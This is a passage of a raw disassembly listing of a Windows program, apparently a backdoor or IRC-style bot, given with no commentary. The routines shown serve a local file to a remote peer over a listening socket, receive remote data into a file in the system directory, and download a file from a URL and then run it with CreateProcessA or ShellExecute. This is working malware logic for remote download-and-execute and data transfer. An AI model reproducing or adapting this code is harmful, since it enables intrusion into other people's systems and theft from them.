		lea	eax, [ebp+Dst]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	ebx		; int
		call	sub_409D34
		add	esp, 14h

loc_416835:				; CODE XREF: sub_4167BF+59j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C3F
		push	[ebp+var_10]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F53A0	; ExitThread

loc_416852:				; CODE XREF: sub_4167BF+3Fj
		push	offset dword_4EADD0
		push	ebx
		call	sub_41AB45
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4168BD
		lea	eax, [ebp+Dst]
		push	offset asc_44E684 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_416899
		push	edi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	ebx		; int
		call	sub_409D34
		add	esp, 14h

loc_416899:				; CODE XREF: sub_4167BF+BDj
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C3F
		pop	ecx
		push	ebx
		call	dword_4E3190	; closesocket
		push	[ebp+var_10]
		call	sub_40BA72
		pop	ecx
		push	esi
		call	ds:dword_4F53A0	; ExitThread

loc_4168BD:				; CODE XREF: sub_4167BF+A3j
		push	64h
		call	ds:dword_4F534C	; Sleep
		xor	edi, edi
		mov	esi, 1000h

loc_4168CC:				; CODE XREF: sub_4167BF+168j
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4E3110	; recv
		test	eax, eax
		jle	short loc_416929
		lea	eax, [ebp+Dst]
		push	offset asc_44E6B4 ; "\n"
		push	eax		; Dest
		call	_strcat
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	sub_41A931
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_416929
		push	64h
		call	ds:dword_4F534C	; Sleep
		push	0Ah
		call	sub_40B99E
		test	eax, eax
		pop	ecx
		jnz	short loc_4168CC

loc_416929:				; CODE XREF: sub_4167BF+130j
					; sub_4167BF+154j
		lea	eax, [ebp+Dst]
		push	offset asc_44E6B8 ; "-"
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_41695C
		push	edi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	ebx		; int
		call	sub_409D34
		add	esp, 14h

loc_41695C:				; CODE XREF: sub_4167BF+180j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C3F
		pop	ecx
		push	ebx
		call	dword_4E3190	; closesocket
		push	[ebp+var_10]
		call	sub_40BA72
		pop	ecx
		push	edi
		call	ds:dword_4F53A0	; ExitThread
sub_4167BF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416980	proc near		; DATA XREF: sub_401CC7+78DAo

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
Dest		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
Str		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
Dst		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp+var_10], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	dword_4E3178	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_4169CE
		push	offset unk_44E6EC
		jmp	loc_416B87
; ---------------------------------------------------------------------------

loc_4169CE:				; CODE XREF: sub_416980+42j
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	esi
		call	dword_4E30F8	; htons
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	dword_4E3124	; bind
		test	eax, eax
		jz	short loc_416A0C
		push	offset unk_44E710
		jmp	loc_416B87
; ---------------------------------------------------------------------------

loc_416A0C:				; CODE XREF: sub_416980+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	edi
		call	dword_4E309C	; getsockname
		push	[ebp+var_2E]
		call	dword_4E3028	; htons
		mov	[ebp+var_4], eax
		lea	eax, [ebp+Str]
		push	eax		; Str
		mov	[ebp+arg_0], esi
		call	_strlen
		pop	ecx

loc_416A3E:				; CODE XREF: sub_416980+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+Str]
		cmp	al, 20h
		jnz	short loc_416A51
		push	5Fh
		pop	eax
		jmp	short loc_416A54
; ---------------------------------------------------------------------------

loc_416A51:				; CODE XREF: sub_416980+CAj
		movsx	eax, al

loc_416A54:				; CODE XREF: sub_416980+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+Str]
		inc	ecx
		push	eax		; Str
		mov	[ebp+arg_0], ecx
		call	_strlen
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_416A3E
		push	ebx
		push	edi
		call	dword_4E3120	; listen
		test	eax, eax
		jz	short loc_416A87
		push	offset unk_44E734
		jmp	loc_416B87
; ---------------------------------------------------------------------------

loc_416A87:				; CODE XREF: sub_416980+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+Str]
		push	80000000h
		push	eax
		call	ds:dword_4F53C0	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_416AB1
		push	offset unk_44E758
		jmp	loc_416B87
; ---------------------------------------------------------------------------

loc_416AB1:				; CODE XREF: sub_416980+125j
		push	esi
		push	eax
		call	ds:dword_4F53DC	; GetFileSize
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40AF71
		pop	ecx
		push	eax
		call	dword_4E3138	; inet_addr
		push	eax
		call	dword_4E30F4	; htonl
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset dword_44E778 ; Format
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		lea	eax, [ebp+var_DC]
		push	eax		; Str
		push	[ebp+var_1FC]	; int
		call	sub_409D34
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	dword_4E30E0	; select
		test	eax, eax
		jg	short loc_416B61
		push	esi		; int
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]	; int
		push	offset dword_44E790 ; int
		push	eax		; Str
		push	[ebp+var_1FC]	; int
		call	sub_409D34
		jmp	loc_416C85
; ---------------------------------------------------------------------------

loc_416B61:				; CODE XREF: sub_416980+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	dword_4E318C	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_416B9A
		push	offset asc_44E7A8 ; "-"

loc_416B87:				; CODE XREF: sub_416980+49j
					; sub_416980+87j ...
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_416C88
; ---------------------------------------------------------------------------

loc_416B9A:				; CODE XREF: sub_416980+200j
		push	edi
		call	dword_4E3190	; closesocket
		cmp	[ebp+arg_0], esi
		jz	loc_416C4C
		mov	edi, 400h

loc_416BAF:				; CODE XREF: sub_416980+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_416BBC
		mov	[ebp+var_4], eax

loc_416BBC:				; CODE XREF: sub_416980+237j
		push	edi		; Size
		lea	eax, [ebp+var_A04]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		call	ds:dword_4F53F4	; SetFilePointer
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		call	ds:dword_4F53BC	; ReadFile
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	dword_4E3148	; send
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	dword_4E3110	; recv
		cmp	eax, ebx
		jl	loc_416CE1
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_416CE1
		sub	[ebp+arg_0], eax
		jnz	loc_416BAF
		mov	edi, [ebp+var_18]

loc_416C4C:				; CODE XREF: sub_416980+224j
		push	[ebp+var_8]
		call	ds:dword_4F533C	; CloseHandle
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41748B
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_44]
		call	dword_4E3184	; inet_ntoa
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44E7FC ; "-"
		push	eax		; Dest
		call	_sprintf

loc_416C85:				; CODE XREF: sub_416980+1DCj
		add	esp, 14h

loc_416C88:				; CODE XREF: sub_416980+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_416CAD
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_54]	; int
		push	eax		; int
		lea	eax, [ebp+var_DC]
		push	eax		; Str
		push	[ebp+var_1FC]	; int
		call	sub_409D34
		add	esp, 14h

loc_416CAD:				; CODE XREF: sub_416980+30Bj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		cmp	edi, esi
		pop	ecx
		jbe	short loc_416CC5
		push	edi
		call	dword_4E3190	; closesocket

loc_416CC5:				; CODE XREF: sub_416980+33Cj
		push	[ebp+var_1F8]
		call	dword_4E3190	; closesocket
		push	[ebp+var_58]
		call	sub_40BA72
		pop	ecx
		push	esi
		call	ds:dword_4F53A0	; ExitThread

loc_416CE1:				; CODE XREF: sub_416980+2AFj
					; sub_416980+2BAj
		push	esi		; int
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]	; int
		push	offset dword_44E7CC ; int
		push	eax		; Str
		push	[ebp+var_1FC]	; int
		call	sub_409D34
		push	offset dword_44E7E4
		call	sub_415C3F
		add	esp, 18h
		push	[ebp+var_1F8]
		call	dword_4E3190	; closesocket
		push	[ebp+var_58]
		call	sub_40BA72
		pop	ecx
		push	ebx
		call	ds:dword_4F53A0	; ExitThread
sub_416980	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D25	proc near		; DATA XREF: sub_401CC7+7A5o

Dst		= byte ptr -14C4h
Dest		= byte ptr -4C4h
Filename	= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
Str		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
File		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp+var_8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp+Filename]
		push	104h
		push	eax
		call	ds:dword_4F5348	; GetSystemDirectoryA
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+Filename]
		push	eax
		lea	eax, [ebp+Filename]
		push	offset aSS_8	; "%s%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		lea	eax, [ebp+Filename]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_4F53C0	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416DAF
		push	offset unk_44E830
		jmp	short loc_416DF5
; ---------------------------------------------------------------------------

loc_416DAF:				; CODE XREF: sub_416D25+81j
		push	eax
		call	ds:dword_4F533C	; CloseHandle
		lea	eax, [ebp+Filename]
		push	offset aAB	; "a+b"
		push	eax		; Filename
		call	_fopen
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+File], eax
		jnz	short loc_416DD7
		push	offset unk_44E864
		jmp	short loc_416DF5
; ---------------------------------------------------------------------------

loc_416DD7:				; CODE XREF: sub_416D25+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_416739
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_416E08
		push	offset asc_44E890 ; "-"

loc_416DF5:				; CODE XREF: sub_416D25+88j
					; sub_416D25+B0j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_416F04
; ---------------------------------------------------------------------------

loc_416E08:				; CODE XREF: sub_416D25+C9j
		mov	esi, 1000h

loc_416E0D:				; CODE XREF: sub_416D25+14Ej
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4E3110	; recv
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_416ED4
		cmp	edi, 0FFFFFFFFh
		jz	short loc_416E75
		push	[ebp+File]	; File
		lea	eax, [ebp+Dst]
		push	edi		; Count
		push	1		; Size
		push	eax		; Str
		call	sub_421420
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	dword_4E30F4	; htonl
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4E3148	; send
		jmp	short loc_416E0D
; ---------------------------------------------------------------------------

loc_416E75:				; CODE XREF: sub_416D25+118j
		lea	eax, [ebp+Dest]
		push	offset asc_44E8B0 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_18]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1C0]	; int
		call	sub_409D34
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		push	[ebp+File]	; File
		call	_fclose
		add	esp, 24h
		push	[ebp+arg_0]
		call	dword_4E3190	; closesocket
		push	[ebp+var_1C]
		call	sub_40BA72
		pop	ecx
		push	1
		call	ds:dword_4F53A0	; ExitThread

loc_416ED4:				; CODE XREF: sub_416D25+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_41748B
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44E8C8 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h

loc_416F04:				; CODE XREF: sub_416D25+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_416F29
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_18]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1C0]	; int
		call	sub_409D34
		add	esp, 14h

loc_416F29:				; CODE XREF: sub_416D25+1E2j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		cmp	[ebp+File], ebx
		pop	ecx
		jz	short loc_416F44
		push	[ebp+File]	; File
		call	_fclose
		pop	ecx

loc_416F44:				; CODE XREF: sub_416D25+214j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_416F52
		push	[ebp+arg_0]
		call	dword_4E3190	; closesocket

loc_416F52:				; CODE XREF: sub_416D25+222j
		push	[ebp+var_1C]
		call	sub_40BA72
		pop	ecx
		push	ebx
		call	ds:dword_4F53A0	; ExitThread
sub_416D25	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F62	proc near		; DATA XREF: sub_401CC7+62FAo
					; sub_401CC7+6B3Ao

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
Dst		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
Str		= byte ptr -2C8h
var_248		= byte ptr -248h
Filename	= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
Memory		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_4E30A8
		call	dword_4E2FFC	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_4173EE
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+Filename]
		push	40000000h
		push	eax
		call	ds:dword_4F53C0	; CreateFileA
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_417029
		lea	eax, [ebp+Filename]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_44E8F4 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_41700C
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_409D34
		add	esp, 14h

loc_41700C:				; CODE XREF: sub_416F62+88j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C3F
		push	[ebp+var_48]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F53A0	; ExitThread

loc_417029:				; CODE XREF: sub_416F62+68j
		xor	edi, edi
		call	ds:dword_4F537C	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx		; Size
		call	_malloc
		pop	ecx
		mov	[ebp+Memory], eax

loc_417043:				; CODE XREF: sub_416F62+1B4j
		push	200h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+Dst]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_4E3004	; InternetReadFile
		cmp	[ebp+var_34], esi
		jz	short loc_417087
		push	[ebp+arg_0]
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_417454
		pop	ecx
		pop	ecx

loc_417087:				; CODE XREF: sub_416F62+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	ds:dword_4F53B4	; WriteFile
		cmp	edi, ebx
		jnb	short loc_4170C5
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_4170AF
		mov	eax, [ebp+arg_0]

loc_4170AF:				; CODE XREF: sub_416F62+148j
		push	eax		; Size
		lea	eax, [ebp+Dst]
		push	eax		; Src
		mov	eax, [ebp+Memory]
		add	eax, edi
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch

loc_4170C5:				; CODE XREF: sub_416F62+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_4170D2
		cmp	edi, [ebp+var_3C]
		ja	short loc_41711C

loc_4170D2:				; CODE XREF: sub_416F62+169j
		cmp	[ebp+var_44], 1
		mov	eax, edi
		jz	short loc_4170EC
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_44E91C
		jmp	short loc_4170FC
; ---------------------------------------------------------------------------

loc_4170EC:				; CODE XREF: sub_416F62+176j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset asc_44E944 ; "-"

loc_4170FC:				; CODE XREF: sub_416F62+188j
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_455E18
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_417043

loc_41711C:				; CODE XREF: sub_416F62+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_417171
		cmp	edi, [ebp+var_3C]
		jz	short loc_417171
		push	[ebp+var_3C]
		lea	eax, [ebp+Dst]
		mov	[ebp+var_14], esi
		push	edi
		push	offset asc_44E96C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_409D34
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C3F
		add	esp, 28h

loc_417171:				; CODE XREF: sub_416F62+1C4j
					; sub_416F62+1C9j
		call	ds:dword_4F537C	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	ds:dword_4F533C	; CloseHandle
		push	[ebp+Memory]	; Memory
		call	_free
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_4171FB
		lea	eax, [ebp+Filename]
		push	eax		; Filename
		call	sub_4010AB
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_4171FB
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_44E998 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_409D34
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C3F
		add	esp, 28h

loc_4171FB:				; CODE XREF: sub_416F62+241j
					; sub_416F62+253j
		cmp	[ebp+var_14], esi
		jz	loc_41743B
		cmp	[ebp+var_44], 1
		jz	loc_4172F6
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	ds:dbl_43C490
		lea	eax, [ebp+Filename]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+Dst]
		fmul	ds:dbl_43C490
		fstp	[esp+590h+var_590]
		push	offset asc_44E9C0 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_417276
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_409D34
		add	esp, 14h

loc_417276:				; CODE XREF: sub_416F62+2F2j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C3F
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_41743B
		push	5
		push	esi
		lea	eax, [ebp+Filename]
		push	esi
		push	eax
		push	offset aOpen_2	; "open"
		push	esi
		call	dword_4E3064
		cmp	[ebp+var_30], esi
		jnz	loc_41743B
		lea	eax, [ebp+Filename]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_44EA00 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_409D34
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C3F
		add	esp, 24h
		jmp	loc_41743B
; ---------------------------------------------------------------------------

loc_4172F6:				; CODE XREF: sub_416F62+2A6j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	ds:dbl_43C490
		lea	eax, [ebp+Filename]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+Dst]
		fmul	ds:dbl_43C490
		fstp	[esp+590h+var_590]
		push	offset asc_44EA1C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_41735E
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_409D34
		add	esp, 14h

loc_41735E:				; CODE XREF: sub_416F62+3DAj
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C3F
		push	10h		; Size
		lea	eax, [ebp+var_10]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi		; Size
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 1Ch
		mov	[ebp+var_310], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_304], offset dword_4EADD8
		push	1
		mov	[ebp+var_2E0], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+Filename]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_2E4], edi
		call	ds:dword_4F5340	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_4173E0
		call	dword_4E3050	; WSACleanup
		call	sub_4190F6
		push	esi
		call	ds:dword_4F5338	; ExitProcess

loc_4173E0:				; CODE XREF: sub_416F62+46Aj
		lea	eax, [ebp+Filename]
		push	eax
		push	offset unk_44EA60
		jmp	short loc_4173FA
; ---------------------------------------------------------------------------

loc_4173EE:				; CODE XREF: sub_416F62+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset asc_44EA94 ; "-"

loc_4173FA:				; CODE XREF: sub_416F62+48Aj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_41742E
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_409D34
		add	esp, 14h

loc_41742E:				; CODE XREF: sub_416F62+4AAj
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C3F
		pop	ecx

loc_41743B:				; CODE XREF: sub_416F62+29Cj
